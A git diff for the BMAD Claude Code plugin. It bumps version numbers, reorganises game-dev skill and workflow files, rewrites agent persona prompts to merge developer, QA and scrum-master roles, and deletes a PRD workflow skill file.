 .../skills/gds-quick-dev/step-05-present.md   |  72 +++++
 .../bmad/skills/gds-quick-dev/step-oneshot.md |  65 ++++
 .../steps/step-01-mode-detection.md           | 156 ----------
 .../steps/step-02-context-gathering.md        | 120 --------
 .../gds-quick-dev/steps/step-03-execute.md    | 113 -------
 .../gds-quick-dev/steps/step-04-self-check.md | 113 -------
 .../steps/step-05-adversarial-review.md       | 106 -------
 .../steps/step-06-resolve-findings.md         | 140 ---------
 .../gds-quick-dev/sync-sprint-status.md       |  19 ++
 plugins/bmad/skills/gds-quick-spec/SKILL.md   |   6 -
 .../steps/step-01-understand.md               | 189 ------------
 .../steps/step-02-investigate.md              | 143 ---------
 .../gds-quick-spec/steps/step-03-generate.md  | 126 --------
 .../gds-quick-spec/steps/step-04-review.md    | 200 ------------
 .../gds-quick-spec/tech-spec-template.md      |  74 -----
 .../bmad/skills/gds-retrospective/SKILL.md    |   4 +-
 .../bmad/skills/gds-sprint-planning/SKILL.md  |   4 +-
 .../bmad/skills/gds-sprint-status/SKILL.md    |   4 +-
 .../bmad/skills/gds-test-automate/SKILL.md    |   2 +-
 plugins/bmad/skills/gds-test-design/SKILL.md  |   2 +-
 .../gds-test-design/test-design-template.md   |   2 +-
 .../bmad/skills/gds-test-framework/SKILL.md   |   2 +-
 plugins/bmad/skills/gds-test-review/SKILL.md  |   2 +-
 plugins/bmad/skills/gds-validate-gdd/SKILL.md |   6 +
 .../gds-validate-gdd/data/gdd-purpose.md      | 224 ++++++++++++++
 .../data/genre-complexity.csv                 |  26 ++
 .../steps-v/step-v-01-discovery.md            | 239 ++++++++++++++
 .../steps-v/step-v-02-format-detection.md     | 202 ++++++++++++
 .../steps-v/step-v-02b-parity-check.md        | 238 ++++++++++++++
 .../steps-v/step-v-03-density-validation.md   | 206 +++++++++++++
 .../step-v-04-brief-coverage-validation.md    | 229 ++++++++++++++
 .../step-v-05-measurability-validation.md     | 279 +++++++++++++++++
 .../step-v-06-traceability-validation.md      | 248 +++++++++++++++
 ...-v-07-implementation-leakage-validation.md | 212 +++++++++++++
 .../step-v-08-genre-compliance-validation.md  | 291 ++++++++++++++++++
 .../steps-v/step-v-09-game-type-validation.md | 281 +++++++++++++++++
 .../steps-v/step-v-10-smart-validation.md     | 224 ++++++++++++++
 .../step-v-11-holistic-quality-validation.md  | 278 +++++++++++++++++
 .../step-v-12-completeness-validation.md      | 291 ++++++++++++++++++
 .../steps-v/step-v-13-report-complete.md      | 257 ++++++++++++++++
 plugins/bmad/skills/gds-validate-prd/SKILL.md |   6 +
 .../data/domain-complexity.csv                |  15 +
 .../gds-validate-prd/data/prd-purpose.md      | 197 ++++++++++++
 .../gds-validate-prd/data/project-types.csv   |  11 +
 .../steps-v/step-v-01-discovery.md            |   2 +-
 .../steps-v/step-v-02-format-detection.md     |   0
 .../steps-v/step-v-02b-parity-check.md        |   0
 .../steps-v/step-v-03-density-validation.md   |   0
 .../step-v-04-brief-coverage-validation.md    |   0
 .../step-v-05-measurability-validation.md     |   0
 .../step-v-06-traceability-validation.md      |   0
 ...-v-07-implementation-leakage-validation.md |   0
 .../step-v-08-domain-compliance-validation.md |   0
 .../step-v-09-project-type-validation.md      |   0
 .../steps-v/step-v-10-smart-validation.md     |   0
 .../step-v-11-holistic-quality-validation.md  |   0
 .../step-v-12-completeness-validation.md      |   0
 .../steps-v/step-v-13-report-complete.md      |   0
 .../research/gds-domain-research/SKILL.md     |   2 +-
 .../research/market-steps/step-01-init.md     |   4 +-
 .../market-steps/step-02-customer-behavior.md |   4 +-
 .../step-03-customer-pain-points.md           |   4 +-
 .../step-04-customer-decisions.md             |   4 +-
 .../research/technical-steps/step-01-init.md  |   4 +-
 .../step-02-technical-overview.md             |   4 +-
 .../step-03-integration-patterns.md           |   4 +-
 .../step-04-architectural-patterns.md         |   4 +-
 .../step-05-implementation-research.md        |   4 +-
 .../research/workflow-market-research.md      |   2 +-
 .../research/workflow-technical-research.md   |   2 +-
 224 files changed, 6738 insertions(+), 2338 deletions(-)
 delete mode 100644 plugins/bmad/skills/create-prd/SKILL.md
 delete mode 100644 plugins/bmad/skills/create-prd/workflow-create-prd.md
 delete mode 100644 plugins/bmad/skills/create-prd/workflow-edit-prd.md
 delete mode 100644 plugins/bmad/skills/create-prd/workflow-validate-prd.md
 create mode 100644 plugins/bmad/skills/gds-code-review/steps/step-01-gather-context.md
 create mode 100644 plugins/bmad/skills/gds-code-review/steps/step-02-review.md
 create mode 100644 plugins/bmad/skills/gds-code-review/steps/step-03-triage.md
 create mode 100644 plugins/bmad/skills/gds-code-review/steps/step-04-present.md
 rename plugins/bmad/skills/gds-create-gdd/{steps => steps-c}/step-01-init.md (99%)
 rename plugins/bmad/skills/gds-create-gdd/{steps => steps-c}/step-01b-continue.md (98%)
 rename plugins/bmad/skills/gds-create-gdd/{steps => steps-c}/step-02-context.md (97%)
 rename plugins/bmad/skills/gds-create-gdd/{steps => steps-c}/step-03-platforms.md (96%)
 rename plugins/bmad/skills/gds-create-gdd/{steps => steps-c}/step-04-vision.md (96%)
 rename plugins/bmad/skills/gds-create-gdd/{steps => steps-c}/step-05-core-gameplay.md (97%)
 rename plugins/bmad/skills/gds-create-gdd/{steps => steps-c}/step-06-mechanics.md (97%)
 rename plugins/bmad/skills/gds-create-gdd/{steps => steps-c}/step-07-game-type.md (96%)
 rename plugins/bmad/skills/gds-create-gdd/{steps => steps-c}/step-08-progression.md (97%)
 rename plugins/bmad/skills/gds-create-gdd/{steps => steps-c}/step-09-levels.md (97%)
 rename plugins/bmad/skills/gds-create-gdd/{steps => steps-c}/step-10-art-audio.md (97%)
 rename plugins/bmad/skills/gds-create-gdd/{steps => steps-c}/step-11-technical.md (97%)
 rename plugins/bmad/skills/gds-create-gdd/{steps => steps-c}/step-12-epics.md (96%)
 rename plugins/bmad/skills/gds-create-gdd/{steps => steps-c}/step-13-metrics.md (96%)
 rename plugins/bmad/skills/gds-create-gdd/{steps => steps-c}/step-14-complete.md (97%)
 create mode 100644 plugins/bmad/skills/gds-create-prd/SKILL.md
 rename plugins/bmad/skills/{create-prd => gds-create-prd}/data/domain-complexity.csv (100%)
 rename plugins/bmad/skills/{create-prd => gds-create-prd}/data/prd-purpose.md (99%)
 rename plugins/bmad/skills/{create-prd => gds-create-prd}/data/project-types.csv (100%)
 rename plugins/bmad/skills/{create-prd => gds-create-prd}/steps-c/step-01-init.md (100%)
 rename plugins/bmad/skills/{create-prd => gds-create-prd}/steps-c/step-01b-continue.md (96%)
 rename plugins/bmad/skills/{create-prd => gds-create-prd}/steps-c/step-02-discovery.md (98%)
 rename plugins/bmad/skills/{create-prd => gds-create-prd}/steps-c/step-02b-vision.md (97%)
 rename plugins/bmad/skills/{create-prd => gds-create-prd}/steps-c/step-02c-executive-summary.md (97%)
 rename plugins/bmad/skills/{create-prd => gds-create-prd}/steps-c/step-03-success.md (96%)
 rename plugins/bmad/skills/{create-prd => gds-create-prd}/steps-c/step-04-journeys.md (96%)
 rename plugins/bmad/skills/{create-prd => gds-create-prd}/steps-c/step-05-domain.md (96%)
 rename plugins/bmad/skills/{create-prd => gds-create-prd}/steps-c/step-06-innovation.md (97%)
 rename plugins/bmad/skills/{create-prd => gds-create-prd}/steps-c/step-07-project-type.md (98%)
 rename plugins/bmad/skills/{create-prd => gds-create-prd}/steps-c/step-08-scoping.md (60%)
 rename plugins/bmad/skills/{create-prd => gds-create-prd}/steps-c/step-09-functional.md (98%)
 rename plugins/bmad/skills/{create-prd => gds-create-prd}/steps-c/step-10-nonfunctional.md (98%)
 rename plugins/bmad/skills/{create-prd => gds-create-prd}/steps-c/step-11-polish.md (94%)
 rename plugins/bmad/skills/{create-prd => gds-create-prd}/steps-c/step-12-complete.md (98%)
 rename plugins/bmad/skills/{create-prd => gds-create-prd}/templates/prd-template.md (100%)
 create mode 100644 plugins/bmad/skills/gds-edit-gdd/SKILL.md
 create mode 100644 plugins/bmad/skills/gds-edit-gdd/data/gdd-purpose.md
 create mode 100644 plugins/bmad/skills/gds-edit-gdd/steps-e/step-e-01-discovery.md
 create mode 100644 plugins/bmad/skills/gds-edit-gdd/steps-e/step-e-01b-legacy-conversion.md
 create mode 100644 plugins/bmad/skills/gds-edit-gdd/steps-e/step-e-02-review.md
 create mode 100644 plugins/bmad/skills/gds-edit-gdd/steps-e/step-e-03-edit.md
 create mode 100644 plugins/bmad/skills/gds-edit-gdd/steps-e/step-e-04-complete.md
 create mode 100644 plugins/bmad/skills/gds-edit-prd/SKILL.md
 create mode 100644 plugins/bmad/skills/gds-edit-prd/data/prd-purpose.md
 rename plugins/bmad/skills/{create-prd => gds-edit-prd}/steps-e/step-e-01-discovery.md (97%)
 rename plugins/bmad/skills/{create-prd => gds-edit-prd}/steps-e/step-e-01b-legacy-conversion.md (98%)
 rename plugins/bmad/skills/{create-prd => gds-edit-prd}/steps-e/step-e-02-review.md (98%)
 rename plugins/bmad/skills/{create-prd => gds-edit-prd}/steps-e/step-e-03-edit.md (98%)
 rename plugins/bmad/skills/{create-prd => gds-edit-prd}/steps-e/step-e-04-complete.md (95%)
 delete mode 100644 plugins/bmad/skills/gds-quick-dev-new-preview/SKILL.md
 delete mode 100644 plugins/bmad/skills/gds-quick-dev-new-preview/steps/step-01-clarify-and-route.md
 delete mode 100644 plugins/bmad/skills/gds-quick-dev-new-preview/steps/step-02-plan.md
 delete mode 100644 plugins/bmad/skills/gds-quick-dev-new-preview/steps/step-03-implement.md
 delete mode 100644 plugins/bmad/skills/gds-quick-dev-new-preview/steps/step-05-present.md
 create mode 100644 plugins/bmad/skills/gds-quick-dev/compile-epic-context.md
 rename plugins/bmad/skills/{gds-quick-dev-new-preview/tech-spec-template.md => gds-quick-dev/spec-template.md} (94%)
 create mode 100644 plugins/bmad/skills/gds-quick-dev/step-01-clarify-and-route.md
 create mode 100644 plugins/bmad/skills/gds-quick-dev/step-02-plan.md
 create mode 100644 plugins/bmad/skills/gds-quick-dev/step-03-implement.md
 rename plugins/bmad/skills/{gds-quick-dev-new-preview/steps => gds-quick-dev}/step-04-review.md (76%)
 create mode 100644 plugins/bmad/skills/gds-quick-dev/step-05-present.md
 create mode 100644 plugins/bmad/skills/gds-quick-dev/step-oneshot.md
 delete mode 100644 plugins/bmad/skills/gds-quick-dev/steps/step-01-mode-detection.md
 delete mode 100644 plugins/bmad/skills/gds-quick-dev/steps/step-02-context-gathering.md
 delete mode 100644 plugins/bmad/skills/gds-quick-dev/steps/step-03-execute.md
 delete mode 100644 plugins/bmad/skills/gds-quick-dev/steps/step-04-self-check.md
 delete mode 100644 plugins/bmad/skills/gds-quick-dev/steps/step-05-adversarial-review.md
 delete mode 100644 plugins/bmad/skills/gds-quick-dev/steps/step-06-resolve-findings.md
 create mode 100644 plugins/bmad/skills/gds-quick-dev/sync-sprint-status.md
 delete mode 100644 plugins/bmad/skills/gds-quick-spec/SKILL.md
 delete mode 100644 plugins/bmad/skills/gds-quick-spec/steps/step-01-understand.md
 delete mode 100644 plugins/bmad/skills/gds-quick-spec/steps/step-02-investigate.md
 delete mode 100644 plugins/bmad/skills/gds-quick-spec/steps/step-03-generate.md
 delete mode 100644 plugins/bmad/skills/gds-quick-spec/steps/step-04-review.md
 delete mode 100644 plugins/bmad/skills/gds-quick-spec/tech-spec-template.md
 create mode 100644 plugins/bmad/skills/gds-validate-gdd/SKILL.md
 create mode 100644 plugins/bmad/skills/gds-validate-gdd/data/gdd-purpose.md
 create mode 100644 plugins/bmad/skills/gds-validate-gdd/data/genre-complexity.csv
 create mode 100644 plugins/bmad/skills/gds-validate-gdd/steps-v/step-v-01-discovery.md
 create mode 100644 plugins/bmad/skills/gds-validate-gdd/steps-v/step-v-02-format-detection.md
 create mode 100644 plugins/bmad/skills/gds-validate-gdd/steps-v/step-v-02b-parity-check.md
 create mode 100644 plugins/bmad/skills/gds-validate-gdd/steps-v/step-v-03-density-validation.md
 create mode 100644 plugins/bmad/skills/gds-validate-gdd/steps-v/step-v-04-brief-coverage-validation.md
 create mode 100644 plugins/bmad/skills/gds-validate-gdd/steps-v/step-v-05-measurability-validation.md
 create mode 100644 plugins/bmad/skills/gds-validate-gdd/steps-v/step-v-06-traceability-validation.md
 create mode 100644 plugins/bmad/skills/gds-validate-gdd/steps-v/step-v-07-implementation-leakage-validation.md
 create mode 100644 plugins/bmad/skills/gds-validate-gdd/steps-v/step-v-08-genre-compliance-validation.md
 create mode 100644 plugins/bmad/skills/gds-validate-gdd/steps-v/step-v-09-game-type-validation.md
 create mode 100644 plugins/bmad/skills/gds-validate-gdd/steps-v/step-v-10-smart-validation.md
 create mode 100644 plugins/bmad/skills/gds-validate-gdd/steps-v/step-v-11-holistic-quality-validation.md
 create mode 100644 plugins/bmad/skills/gds-validate-gdd/steps-v/step-v-12-completeness-validation.md
 create mode 100644 plugins/bmad/skills/gds-validate-gdd/steps-v/step-v-13-report-complete.md
 create mode 100644 plugins/bmad/skills/gds-validate-prd/SKILL.md
 create mode 100644 plugins/bmad/skills/gds-validate-prd/data/domain-complexity.csv
 create mode 100644 plugins/bmad/skills/gds-validate-prd/data/prd-purpose.md
 create mode 100644 plugins/bmad/skills/gds-validate-prd/data/project-types.csv
 rename plugins/bmad/skills/{create-prd => gds-validate-prd}/steps-v/step-v-01-discovery.md (98%)
 rename plugins/bmad/skills/{create-prd => gds-validate-prd}/steps-v/step-v-02-format-detection.md (100%)
 rename plugins/bmad/skills/{create-prd => gds-validate-prd}/steps-v/step-v-02b-parity-check.md (100%)
 rename plugins/bmad/skills/{create-prd => gds-validate-prd}/steps-v/step-v-03-density-validation.md (100%)
 rename plugins/bmad/skills/{create-prd => gds-validate-prd}/steps-v/step-v-04-brief-coverage-validation.md (100%)
 rename plugins/bmad/skills/{create-prd => gds-validate-prd}/steps-v/step-v-05-measurability-validation.md (100%)
 rename plugins/bmad/skills/{create-prd => gds-validate-prd}/steps-v/step-v-06-traceability-validation.md (100%)
 rename plugins/bmad/skills/{create-prd => gds-validate-prd}/steps-v/step-v-07-implementation-leakage-validation.md (100%)
 rename plugins/bmad/skills/{create-prd => gds-validate-prd}/steps-v/step-v-08-domain-compliance-validation.md (100%)
 rename plugins/bmad/skills/{create-prd => gds-validate-prd}/steps-v/step-v-09-project-type-validation.md (100%)
 rename plugins/bmad/skills/{create-prd => gds-validate-prd}/steps-v/step-v-10-smart-validation.md (100%)
 rename plugins/bmad/skills/{create-prd => gds-validate-prd}/steps-v/step-v-11-holistic-quality-validation.md (100%)
 rename plugins/bmad/skills/{create-prd => gds-validate-prd}/steps-v/step-v-12-completeness-validation.md (100%)
 rename plugins/bmad/skills/{create-prd => gds-validate-prd}/steps-v/step-v-13-report-complete.md (100%)

diff --git a/.github/badges/upstream-version-gds.json b/.github/badges/upstream-version-gds.json
index d146d11..78642b9 100644
--- a/.github/badges/upstream-version-gds.json
+++ b/.github/badges/upstream-version-gds.json
@@ -1,6 +1,6 @@
 {
   "schemaVersion": 1,
   "label": "GDS Module",
-  "message": "v0.2.2",
+  "message": "v0.3.0",
   "color": "green"
 }
diff --git a/.plugin-version b/.plugin-version
index 7482ce3..78cd3f0 100644
--- a/.plugin-version
+++ b/.plugin-version
@@ -1 +1 @@
-v6.3.0.1
+v6.3.0.2
diff --git a/.upstream-versions/gds.json b/.upstream-versions/gds.json
index f7bd781..bdd19a7 100644
--- a/.upstream-versions/gds.json
+++ b/.upstream-versions/gds.json
@@ -1,4 +1,4 @@
 {
-  "version": "v0.2.2",
-  "syncedAt": "2026-03-30"
+  "version": "v0.3.0",
+  "syncedAt": "2026-04-19"
 }
diff --git a/README.md b/README.md
index 0df55af..4d5d274 100644
--- a/README.md
+++ b/README.md
@@ -13,7 +13,7 @@
 <!-- upstream-badges-end -->
 
 <!-- upstream-version-start -->
-**Plugin version:** v6.3.0.1
+**Plugin version:** v6.3.0.2
 
 | Module | Version | Released | Last Checked |
 |---|---|---|---|
@@ -21,7 +21,7 @@
 | [TEA](https://github.com/bmad-code-org/bmad-method-test-architecture-enterprise) | v1.12.2 | 2026-04-17 | 2026-04-19 |
 | [BMB](https://github.com/bmad-code-org/bmad-builder) | v1.4.0 | 2026-03-29 | 2026-03-30 |
 | [CIS](https://github.com/bmad-code-org/bmad-module-creative-intelligence-suite) | v0.1.9 | 2026-03-18 | 2026-03-30 |
-| [GDS](https://github.com/bmad-code-org/bmad-module-game-dev-studio) | v0.2.2 | 2026-03-16 | 2026-03-30 |
+| [GDS](https://github.com/bmad-code-org/bmad-module-game-dev-studio) | v0.3.0 | 2026-04-14 | 2026-04-19 |
 <!-- upstream-version-end -->
 
 A Claude Code plugin that transforms Claude into a complete agile development
diff --git a/package.json b/package.json
index 1c88e1c..07f6bbf 100644
--- a/package.json
+++ b/package.json
@@ -1,6 +1,6 @@
 {
   "name": "bmad-plugin",
-  "version": "6.3.0.1",
+  "version": "6.3.0.2",
   "type": "module",
   "scripts": {
     "prepare": "husky",
diff --git a/plugins/bmad/.claude-plugin/plugin.json b/plugins/bmad/.claude-plugin/plugin.json
index 1ca1cc7..78934e7 100644
--- a/plugins/bmad/.claude-plugin/plugin.json
+++ b/plugins/bmad/.claude-plugin/plugin.json
@@ -1,6 +1,6 @@
 {
   "name": "bmad",
-  "version": "6.3.0.1",
+  "version": "6.3.0.2",
   "description": "BMAD Method - Breakthrough Method for Agile AI-Driven Development",
   "author": {
     "name": "PabloLION",
diff --git a/plugins/bmad/agents/gds-agent-game-architect.md b/plugins/bmad/agents/gds-agent-game-architect.md
index 2f1e0dd..c3261fb 100644
--- a/plugins/bmad/agents/gds-agent-game-architect.md
+++ b/plugins/bmad/agents/gds-agent-game-architect.md
@@ -46,10 +46,10 @@ When you are in this persona and the user calls a skill, this persona must carry
 
 ## On Activation
 
-1. **Load config via bmad-init skill** — Store all returned vars for use:
-   - Use `{user_name}` from config for greeting
-   - Use `{communication_language}` from config for all communications
-   - Store any other config variables as `{var-name}` and use appropriately
+1. Load config from `{module_config}` and resolve:
+   - Use `{user_name}` for greeting
+   - Use `{communication_language}` for all communications
+   - Use `{document_output_language}` for output documents
 
 2. **Continue with steps below:**
    - **Load project context** — Search for `**/project-context.md`. If found, load as foundational reference for project standards and conventions. If not found, continue without it.
diff --git a/plugins/bmad/agents/gds-agent-game-designer.md b/plugins/bmad/agents/gds-agent-game-designer.md
index 2877cf1..5d090bb 100644
--- a/plugins/bmad/agents/gds-agent-game-designer.md
+++ b/plugins/bmad/agents/gds-agent-game-designer.md
@@ -44,10 +44,10 @@ When you are in this persona and the user calls a skill, this persona must carry
 
 ## On Activation
 
-1. **Load config via bmad-init skill** — Store all returned vars for use:
-   - Use `{user_name}` from config for greeting
-   - Use `{communication_language}` from config for all communications
-   - Store any other config variables as `{var-name}` and use appropriately
+1. Load config from `{module_config}` and resolve:
+   - Use `{user_name}` for greeting
+   - Use `{communication_language}` for all communications
+   - Use `{document_output_language}` for output documents
 
 2. **Continue with steps below:**
    - **Load project context** — Search for `**/project-context.md`. If found, load as foundational reference for project standards and conventions. If not found, continue without it.
diff --git a/plugins/bmad/agents/gds-agent-game-dev.md b/plugins/bmad/agents/gds-agent-game-dev.md
index 1202934..9593103 100644
--- a/plugins/bmad/agents/gds-agent-game-dev.md
+++ b/plugins/bmad/agents/gds-agent-game-dev.md
@@ -1,21 +1,23 @@
 ---
 name: gds-agent-game-dev
-description: Game developer for story execution, code implementation, and code review. Use when the user asks to talk to Link Freeman or requests the Game Developer.
+description: Consolidated game developer for story execution, code implementation, code review, QA/test authorship, and sprint orchestration. Use when the user asks to talk to Link Freeman, the Game Developer, the Game QA, or the Game Scrum Master.
 ---
 
 # Link Freeman
 
 ## Overview
 
-This skill provides a Senior Game Developer who implements features, executes dev stories, and performs code reviews with deep expertise in Unity, Unreal, and custom engines. Act as Link Freeman — a speedrunner-style dev who is direct, milestone-focused, and always optimizing for the fastest path to ship.
+This skill provides a Senior Game Developer who implements features, executes dev stories, performs code reviews, authors tests and QA automation, and orchestrates sprints — with deep expertise in Unity, Unreal, and custom engines. Act as Link Freeman — a speedrunner-style dev who is direct, milestone-focused, and always optimizing for the fastest path to ship.
+
+> **Consolidated role.** Link owns what were previously three separate agents (Developer, QA, Scrum Master) — mirroring upstream BMAD-METHOD's single-Developer-agent model. Quality and sprint discipline are part of Link's job now, not someone else's.
 
 ## Identity
 
-Battle-hardened dev with expertise in Unity, Unreal, and custom engines. Ten years shipping across mobile, console, and PC. Writes clean, performant code.
+Battle-hardened dev with expertise in Unity, Unreal, and custom engines. Ten years shipping across mobile, console, and PC. Writes clean, performant code — and the tests that prove it. Runs sprints like a solo speedrun attempt: relentlessly tracked, ruthlessly scoped.
 
 ## Communication Style
 
-Speaks like a speedrunner - direct, milestone-focused, always optimizing for the fastest path to ship.
+Speaks like a speedrunner — direct, milestone-focused, always optimizing for the fastest path to ship. Milestones are save points, blockers are boss fights, test suites are splits.
 
 ## Principles
 
@@ -23,12 +25,24 @@ Speaks like a speedrunner - direct, milestone-focused, always optimizing for the
 - Write code designers can iterate without fear.
 - Ship early, ship often, iterate on player feedback.
 - Red-green-refactor: tests first, implementation second.
+- Test what matters: gameplay feel, performance, progression. Automated tests catch regressions; humans catch fun problems.
+- Every shipped bug is a process failure, not a people failure.
+- Flaky tests are worse than no tests — they erode trust.
+- Profile before optimize, test before ship.
+- Every sprint delivers playable increments.
+- Stories are the single source of truth for implementation.
 
 ## Critical Actions
 
 - Find if this exists, if it does, always treat it as the bible I plan and execute against: `**/project-context.md`
 - When running dev-story, follow story acceptance criteria exactly and validate with tests.
 - Always check for performance implications on game loop code.
+- When running create-story for game features, use GDD, Architecture, and Tech Spec to generate complete draft stories without elicitation, focusing on playable outcomes.
+- Generate complete story drafts from existing documentation without additional elicitation.
+- For QA/testing work: consult `{skill_root}/gametest/qa-index.csv` to select knowledge fragments under `gametest/knowledge/` and load only the files needed for the current task.
+- For E2E testing requests, always load `{skill_root}/gametest/knowledge/e2e-testing.md` first.
+- When scaffolding tests, distinguish between unit, integration, and E2E test needs.
+- Cross-check test recommendations against the current official Unity Test Framework, Unreal Automation, or Godot GUT documentation.
 
 You must fully embody this persona so the user gets the best experience and help they need, therefore its important to remember you must not break character until the users dismisses this persona.
 
@@ -36,20 +50,32 @@ When you are in this persona and the user calls a skill, this persona must carry
 
 ## Capabilities
 
-| Code | Description | Skill |
-|------|-------------|-------|
-| DS | Execute Dev Story workflow, implementing tasks and tests | gds-dev-story |
-| CR | Perform a thorough clean context QA code review on a story flagged Ready for Review | gds-code-review |
-| QD | Flexible game development - implement features with game-specific considerations | gds-quick-dev |
-| QP | Rapid game prototyping - test mechanics and ideas quickly | gds-quick-prototype |
-| AE | Advanced elicitation techniques to challenge the LLM to get better results | bmad-advanced-elicitation |
+| Code | Description                                                                                         | Skill                     |
+| ---- | --------------------------------------------------------------------------------------------------- | ------------------------- |
+| DS   | Execute Dev Story workflow, implementing tasks and tests                                            | gds-dev-story             |
+| CR   | Perform a thorough clean-context QA code review on a story flagged Ready for Review                 | gds-code-review           |
+| QD   | Clarify, plan, implement, review, and present any intent end-to-end                                 | gds-quick-dev             |
+| QP   | Rapid game prototyping — test mechanics and ideas quickly                                           | gds-quick-prototype       |
+| CS   | Create a story with full context for developer implementation                                       | gds-create-story          |
+| SP   | Generate or update sprint-status.yaml from epic files (run after GDD + Epics are created)           | gds-sprint-planning       |
+| SS   | View sprint progress, surface risks, and get next-action recommendation                             | gds-sprint-status         |
+| CC   | Navigate significant changes during a sprint when implementation is off-track                       | gds-correct-course        |
+| ER   | Facilitate retrospective after a game development epic is completed                                 | gds-retrospective         |
+| TF   | Initialize game test framework (Unity / Unreal / Godot)                                             | gds-test-framework        |
+| TD   | Create comprehensive game test scenarios                                                            | gds-test-design           |
+| TA   | Generate automated game tests                                                                       | gds-test-automate         |
+| ES   | Scaffold E2E testing infrastructure                                                                 | gds-e2e-scaffold          |
+| PP   | Create structured playtesting plan                                                                  | gds-playtest-plan         |
+| PT   | Design performance testing strategy                                                                 | gds-performance-test      |
+| TR   | Review test quality and coverage                                                                    | gds-test-review           |
+| AE   | Advanced elicitation techniques to challenge the LLM to get better results                          | bmad-advanced-elicitation |
 
 ## On Activation
 
-1. **Load config via bmad-init skill** — Store all returned vars for use:
-   - Use `{user_name}` from config for greeting
-   - Use `{communication_language}` from config for all communications
-   - Store any other config variables as `{var-name}` and use appropriately
+1. Load config from `{module_config}` and resolve:
+   - Use `{user_name}` for greeting
+   - Use `{communication_language}` for all communications
+   - Use `{document_output_language}` for output documents
 
 2. **Continue with steps below:**
    - **Load project context** — Search for `**/project-context.md`. If found, load as foundational reference for project standards and conventions. If not found, continue without it.
diff --git a/plugins/bmad/agents/gds-agent-game-solo-dev.md b/plugins/bmad/agents/gds-agent-game-solo-dev.md
index e1a2550..33475c4 100644
--- a/plugins/bmad/agents/gds-agent-game-solo-dev.md
+++ b/plugins/bmad/agents/gds-agent-game-solo-dev.md
@@ -37,19 +37,17 @@ When you are in this persona and the user calls a skill, this persona must carry
 | Code | Description | Skill |
 |------|-------------|-------|
 | QP | Rapid prototype to test if the mechanic is fun (Start here for new ideas) | gds-quick-prototype |
-| QD | Implement features end-to-end solo with game-specific considerations | gds-quick-dev |
-| TS | Architect a technical spec with implementation-ready stories | gds-quick-spec |
+| QD | Clarify, plan, implement, review, and present any intent end-to-end | gds-quick-dev |
 | CR | Review code quality (use fresh context for best results) | gds-code-review |
 | TF | Set up automated testing for your game engine | gds-test-framework |
 | AE | Advanced elicitation techniques to challenge the LLM to get better results | bmad-advanced-elicitation |
-| QQ | Quick Dev New (Preview): Unified quick flow - clarify, plan, implement, review, present (experimental) | gds-quick-dev-new-preview |
 
 ## On Activation
 
-1. **Load config via bmad-init skill** — Store all returned vars for use:
-   - Use `{user_name}` from config for greeting
-   - Use `{communication_language}` from config for all communications
-   - Store any other config variables as `{var-name}` and use appropriately
+1. Load config from `{module_config}` and resolve:
+   - Use `{user_name}` for greeting
+   - Use `{communication_language}` for all communications
+   - Use `{document_output_language}` for output documents
 
 2. **Continue with steps below:**
    - **Load project context** — Search for `**/project-context.md`. If found, load as foundational reference for project standards and conventions. If not found, continue without it.
diff --git a/plugins/bmad/agents/gds-agent-tech-writer.md b/plugins/bmad/agents/gds-agent-tech-writer.md
index fe1753c..09e3350 100644
--- a/plugins/bmad/agents/gds-agent-tech-writer.md
+++ b/plugins/bmad/agents/gds-agent-tech-writer.md
@@ -41,10 +41,10 @@ When you are in this persona and the user calls a skill, this persona must carry
 
 ## On Activation
 
-1. **Load config via bmad-init skill** — Store all returned vars for use:
-   - Use `{user_name}` from config for greeting
-   - Use `{communication_language}` from config for all communications
-   - Store any other config variables as `{var-name}` and use appropriately
+1. Load config from `{module_config}` and resolve:
+   - Use `{user_name}` for greeting
+   - Use `{communication_language}` for all communications
+   - Use `{document_output_language}` for output documents
 
 2. **Continue with steps below:**
    - **Load project context** — Search for `**/project-context.md`. If found, load as foundational reference for project standards and conventions. If not found, continue without it.
diff --git a/plugins/bmad/skills/create-prd/SKILL.md b/plugins/bmad/skills/create-prd/SKILL.md
deleted file mode 100644
index 67a3e9f..0000000
--- a/plugins/bmad/skills/create-prd/SKILL.md
+++ /dev/null
@@ -1,151 +0,0 @@
----
-description:
-  Create, validate, or edit product requirements documents. Tri-modal. Phase 2
-  Planning
-user-invocable: true
----
-
-# PRD Workflow (Tri-Modal)
-
-**Goal:** Create, Validate, or Edit comprehensive PRDs through structured
-workflows.
-
-**Agent:** PM (John) **Phase:** 2 - Planning
-
-**Modes:**
-
-- **Create (-c):** Build new PRD from scratch through collaborative discovery
-- **Validate (-v):** Quality check existing PRD against BMAD standards
-- **Edit (-e):** Improve existing PRD based on validation feedback
-
----
-
-## MODE DETERMINATION
-
-### Detect Mode from Invocation
-
-| Invocation                   | Mode     |
-| ---------------------------- | -------- |
-| `/bmad:create-prd` or `-c`   | Create   |
-| `/bmad:validate-prd` or `-v` | Validate |
-| `/bmad:edit-prd` or `-e`     | Edit     |
-
-### If Mode Unclear
-
-Present selection menu:
-
-```text
-**PRD Workflow - Select Mode:**
-
-**[C] Create** - Create a new PRD from scratch
-**[V] Validate** - Validate an existing PRD against BMAD standards
-**[E] Edit** - Improve an existing PRD
-
-Which mode would you like?
-```
-
-Wait for user selection before proceeding.
-
----
-
-## WORKFLOW ARCHITECTURE
-
-Same step-file architecture as other BMAD workflows:
-
-### Core Principles
-
-- **Micro-file Design**: Each step is a self-contained instruction file
-- **Just-In-Time Loading**: Only load current step file
-- **Sequential Enforcement**: Complete steps in order
-- **State Tracking**: Track progress in frontmatter `stepsCompleted`
-
-### Critical Rules
-
-- NEVER load multiple step files simultaneously
-- ALWAYS read entire step file before execution
-- NEVER skip steps or optimize sequence
-- ALWAYS halt at menus and wait for user input
-
----
-
-## MODE ROUTING
-
-### Create Mode
-
-**Entry Point:** `steps-c/step-01-init.md`
-
-Create mode guides through 12 steps:
-
-1. Initialization and discovery
-2. Input document loading
-3. Success criteria definition
-4. User journeys
-5. Domain model
-6. Innovation opportunities
-7. Project type specific requirements
-8. Scoping
-9. Functional requirements
-10. Non-functional requirements
-11. Polish and refinement
-12. Completion and validation
-
-### Validate Mode
-
-**Entry Point:** `steps-v/step-v-01-discovery.md`
-
-Validate mode performs 13 validation checks:
-
-1. Discovery and PRD loading
-2. Format detection
-3. Density validation
-4. Brief coverage validation
-5. Measurability validation
-6. Traceability validation
-7. Implementation leakage validation
-8. Domain compliance validation
-9. Project type validation
-10. SMART validation
-11. Holistic quality validation
-12. Completeness validation
-13. Report generation
-
-### Edit Mode
-
-**Entry Point:** `steps-e/step-e-01-discovery.md`
-
-Edit mode handles:
-
-1. Discovery and PRD loading
-2. Legacy conversion (if needed)
-3. Targeted improvements
-
----
